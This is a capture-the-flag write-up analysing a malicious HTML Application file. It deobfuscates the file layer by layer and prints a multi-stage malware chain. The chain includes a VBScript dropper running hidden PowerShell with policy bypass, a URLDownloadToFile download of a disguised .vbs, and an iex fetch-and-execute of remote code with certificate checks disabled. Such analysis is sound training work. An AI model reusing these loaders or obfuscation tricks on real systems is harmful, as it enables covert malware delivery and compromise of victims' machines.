Wanted Alive
Scenario
From Spreadsheet
The challenge archive contains a single file: wanted.hta
.
Solution
.hta
is the extension for HTML Application , a type of dynamic HTML page supported by Windows. The file is identified as a HTML document:
$ file wanted.hta
wanted.hta: HTML document, ASCII text, with very long lines (65536), with no line terminators
The file is heavily obfuscated with multiple rounds of URL encoding, making analysis difficult. The obfuscation can easily be reverse with a tool like CyberChef using the following recipe:
Once deobfuscated, the document becomes much more readable, though most of it is still encoded:
< script language = JavaScript > m = '<scriptlanguage=JavaScript> m=' < script >
<!--
document . write ( unescape ( "<script language=JavaScript> m='<script>
<!--
document.write(unescape(" <! DOCTYPE html >
< meta http - equiv = "X-UA-Compatible" content = "IE=EmulateIE8" >
< html >
< body >
< sCrIPTlANgUAge = "VbScRipT" >
DiM
OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF , PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM : setOCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF = createoBjEct ( Chr ( & H57 ) & "SCRIPT.shELL" ) : PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM = "PowErShEll-ExBYPaSS-NOP-W1-CdEVIcEcrEDEnTIAlDePlOYmENt.EXe;iex($(iEX('[SYsTeM.TeXt.EnCoding]'[chAr]0X3A[CHAr]0X3A'uTf8.geTSTring([SYstem.ConVERT]'[chAR]58[CHAR]58'fRoMBASE64string('[CHar]0X22'JGVhNmM4bXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlckRlZmluSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbU9OLmRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENmbXIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYVV2eVZCUkQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZmWWxEb2wsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb0ZYckloKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3V4dFBJQkp4bCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbklZcCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZWE2YzhtclQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly93YW50ZWQuYWxpdmUuaHRiLzM1L3dhbnRlZC50SUYiLCIkZU52OkFQUERBVEFcd2FudGVkLnZicyIsMCwwKTtTVEFSdC1zbGVlUCgzKTtzdEFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW5WOkFQUERBVEFcd2FudGVkLnZicyI='[cHar]0X22'))')))" : OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF . rUNchR ( 34 ) & OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF . eXpanDEnVIroNMENtSTRinGs ( Chr ( & H25 ) & ChrW ( & H53 ) & Chr ( & H79 ) & ChrW ( & H73 ) & ChrW ( & H54 ) & ChrW ( & H65 ) & ChrW ( & H6D ) & Chr ( & H52 ) & ChrW ( & H4F ) & Chr ( & H6F ) & ChrW ( & H74 ) & ChrW ( & H25 )) & "\SYStEM32\WINdOwSpoweRSheLL\V1.0\PoWERshElL.ExE" & chr ( 34 ) & cHR ( 32 ) & Chr ( 34 ) & PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM & CHr ( 34 ), 0 : SETOCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF = NOThING
SeLF . CloSE
</ script >
</ body >
</ html > "));
//-->
</ script > ';d=unescape(m);document.write(d);</ script > "));
//-->
</ script > ';d=unescape(m);document.write(d);</ script > ';d=unescape(m);document.write(d);</ script >
The encoded blob consists of a few distinct parts. Simplyfing what appears to be variable names and decoding the base64 encoded part results in the following:
<sCrIPT lANgUAge="VbScRipT">
DiM
a, b:set a = createoBjEct(Chr(&H57)&"SCRIPT.shELL"):b="PowErShEll-ExBYPaSS-NOP-W1-CdEVIcEcrEDEnTIAlDePlOYmENt.EXe;iex($(iEX('[SYsTeM.TeXt.EnCoding]'[chAr]0X3A[CHAr]0X3A'uTf8.geTSTring([SYstem.ConVERT]'[chAR]58[CHAR]58'fRoMBASE64string('[CHar]0X22' [base64 blob] '[cHar]0X22'))')))":a.rUNchR(34)&a.eXpanDEnVIroNMENtSTRinGs(Chr(&H25)&ChrW(&H53)&Chr(&H79)&ChrW(&H73)&ChrW(&H54)&ChrW(&H65)&ChrW(&H6D)&Chr(&H52)&ChrW(&H4F)&Chr(&H6F)&ChrW(&H74)&ChrW(&H25))&"\SYStEM32\WINdOwSpoweRSheLL\V1.0\PoWERshElL.ExE"&chr(34)&cHR(32)&Chr(34)&b&CHr(34),0:SET a=NOThING
SeLF.CloSE
</script>
The code above defines two variables, then sets one of them to execute the base64 encoded blob with a call to iex
(Invoke-Expression
). The base64 encoded blob decodes to:
$ea6c8mrT = Add-Type -meMBerDefinITIon '[DllImport("uRLmON.dlL", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr PG,string Cfmr,string aUvyVBRD,uint ffYlDol,IntPtr oFXrIh);' -nAME "SuxtPIBJxl" -NamEsPAcE nIYp -PassThru ; $ea6c8mrT :: URLDownloadToFile ( 0 , "http://wanted.alive.htb/35/wanted.tIF" , "$eNv:APPDATA\wanted.vbs" , 0 , 0 ); STARt-sleeP ( 3 ); stARt "$enV:APPDATA\wanted.vbs"
The blob's main purpose is to download a file from a website. The file appears to be a .tif
image given the URL, but is a actually a Visual Basic script launched by the PowerShell blob after a three second delay.
The Visual Basic script is around 1000 lines, but there is one function that stands out:
wanted.vbs
private function ReadStdIn()
while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function
If Not mesor() Then
On Error Resume Next
latifoliado = "U2V0LUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLVNjb3BlIFByb2Nlc3MgLUZvcmNlOyBbU3lzdGVtLk5ldC5TZd2FudGVkCgXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VydmVyQ2VydGlmaWNhdGVWYWxpZGF0aW9uQ2FsbGJhY2sgPSB7JHRydWV9O1td2FudGVkCgTe"
latifoliado = latifoliado & "XN0ZW0uTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW1N5c3RlbS5OZXQuU2Vydmld2FudGVkCgjZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgLWJvciAzMDcyOyBpZXggKFtTeXN0ZW0uVGV4dC5FbmNvZd2FudGVkCgGl"
latifoliado = latifoliado & "uZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoKG5ldy1vYmplY3Qgcd2FudGVkCg3lzdGVtLm5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vd2FudGVkLmFsaXZlLmh0Yi9jZGJhL19d2FudGVkCgyc"
latifoliado = latifoliado & "CcpKSkpd2FudGVkCgd2FudGVkCg"
Dim parrana
parrana = "d2FudGVkCg"
Dim arran
arran =" d2FudGVkCg d2FudGVkCg "
arran = arran & "$d2FudGVkCgCod2FudGVkCgd"
arran = arran & "id2FudGVkCggod2FudGVkCg "
arran = arran & "d2FudGVkCg" & latifoliado & "d2FudGVkCg"
arran = arran & "$d2FudGVkCgOWd2FudGVkCgj"
arran = arran & "ud2FudGVkCgxdd2FudGVkCg "
arran = arran & "=d2FudGVkCg [d2FudGVkCgs"
arran = arran & "yd2FudGVkCgstd2FudGVkCge"
arran = arran & "md2FudGVkCg.Td2FudGVkCge"
arran = arran & "xd2FudGVkCgt.d2FudGVkCge"
arran = arran & "nd2FudGVkCgcod2FudGVkCgd"
arran = arran & "id2FudGVkCgngd2FudGVkCg]"
arran = arran & ":d2FudGVkCg:Ud2FudGVkCgT"
arran = arran & "Fd2FudGVkCg8.d2FudGVkCgG"
arran = arran & "ed2FudGVkCgtSd2FudGVkCgt"
arran = arran & "rd2FudGVkCgind2FudGVkCgg"
arran = arran & "(d2FudGVkCg[sd2FudGVkCgy"
arran = arran & "sd2FudGVkCgted2FudGVkCgm"
arran = arran & ".d2FudGVkCgCod2FudGVkCgn"
arran = arran & "vd2FudGVkCgerd2FudGVkCgt"
arran = arran & "]d2FudGVkCg::d2FudGVkCgF"
arran = arran & "rd2FudGVkCgomd2FudGVkCgb"
arran = arran & "ad2FudGVkCgsed2FudGVkCg6"
arran = arran & "4d2FudGVkCgStd2FudGVkCgr"
arran = arran & "id2FudGVkCgngd2FudGVkCg("
arran = arran & "$d2FudGVkCgcod2FudGVkCgd"
arran = arran & "id2FudGVkCggod2FudGVkCg)"
arran = arran & ")d2FudGVkCg;pd2FudGVkCgo"
arran = arran & "wd2FudGVkCgerd2FudGVkCgs"
arran = arran & "hd2FudGVkCgeld2FudGVkCgl"
arran = arran & ".d2FudGVkCgexd2FudGVkCge"
arran = arran & " d2FudGVkCg-wd2FudGVkCgi"
arran = arran & "nd2FudGVkCgdod2FudGVkCgw"
arran = arran & "sd2FudGVkCgtyd2FudGVkCgl"
arran = arran & "ed2FudGVkCg hd2FudGVkCgi"
arran = arran & "dd2FudGVkCgded2FudGVkCgn"
arran = arran & " d2FudGVkCg-ed2FudGVkCgx"
arran = arran & "ed2FudGVkCgcud2FudGVkCgt"
arran = arran & "id2FudGVkCgond2FudGVkCgp"
arran = arran & "od2FudGVkCglid2FudGVkCgc"
arran = arran & "yd2FudGVkCg bd2FudGVkCgy"
arran = arran & "pd2FudGVkCgasd2FudGVkCgs"
arran = arran & " d2FudGVkCg-Nd2FudGVkCgo"
arran = arran & "Pd2FudGVkCgrod2FudGVkCgf"
arran = arran & "id2FudGVkCgled2FudGVkCg "
arran = arran & "-d2FudGVkCgcod2FudGVkCgm"
arran = arran & "md2FudGVkCgand2FudGVkCgd"
arran = arran & " d2FudGVkCg$Od2FudGVkCgW"
arran = arran & "jd2FudGVkCguxd2FudGVkCgD"
arran = descortinar(arran, parrana, "")
Dim sandareso
sandareso = "pd2FudGVkCgo"
sandareso = sandareso & "wd2FudGVkCgr"
sandareso = sandareso & "sd2FudGVkCge"
sandareso = sandareso & "ld2FudGVkCgl -cd2FudGVkCgommad2FudGVkCgnd "
sandareso = descortinar(sandareso, parrana, "")
sandareso = sandareso & arran
Dim incentiva
Set incentiva = CreateObject("WScript.Shell")
incentiva.Run sandareso, 0, False
WScript.Quit(rumbo)
End If
''''''''''''''''''''
' Escapes non XML chars
The purpose of the function appears to be concatenating the encoded strings and presumably executing the result. The strings appear to be be base64 encoded, but decoding them breaks after a few characters:
Looking at the strings closer, it appears they are all interspersed with the substring d2FudGVkCg
(base64 encoding of wanted
). Removing the substring fixes the decoding and produces the following for the first part of the function:
Set-ExecutionPolicy Bypass -Scope Process -Force ;
[System.Net.ServicePointManager] :: ServerCertificateValidationCallback = { $true };
[System.Net.ServicePointManager] :: SecurityProtocol = [System.Net.ServicePointManager] :: SecurityProtocol -bor 3072 ;
iex ( [System.Text.Encoding] :: UTF8 . GetString ( [System.Convert] :: FromBase64String (( new-object system . net . webclient ). downloadstring ( 'http://wanted.alive.htb/cdba/_rp' ))))
The remainder of the function isn't base64 encoded at all, just interspersed with the same substring. When removed, it produces the following PowerShell code, which is used to launch the code above:
$Codigo & latifoliado & $OWjuxd = [system.Text.encoding] :: UTF8 . GetString ( [system.Convert] :: Frombase64String ( $codigo ));
powershell . exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
The flag can be found by navigating to the URL in the PowerShell snippet above.
May 16, 2025
May 15, 2025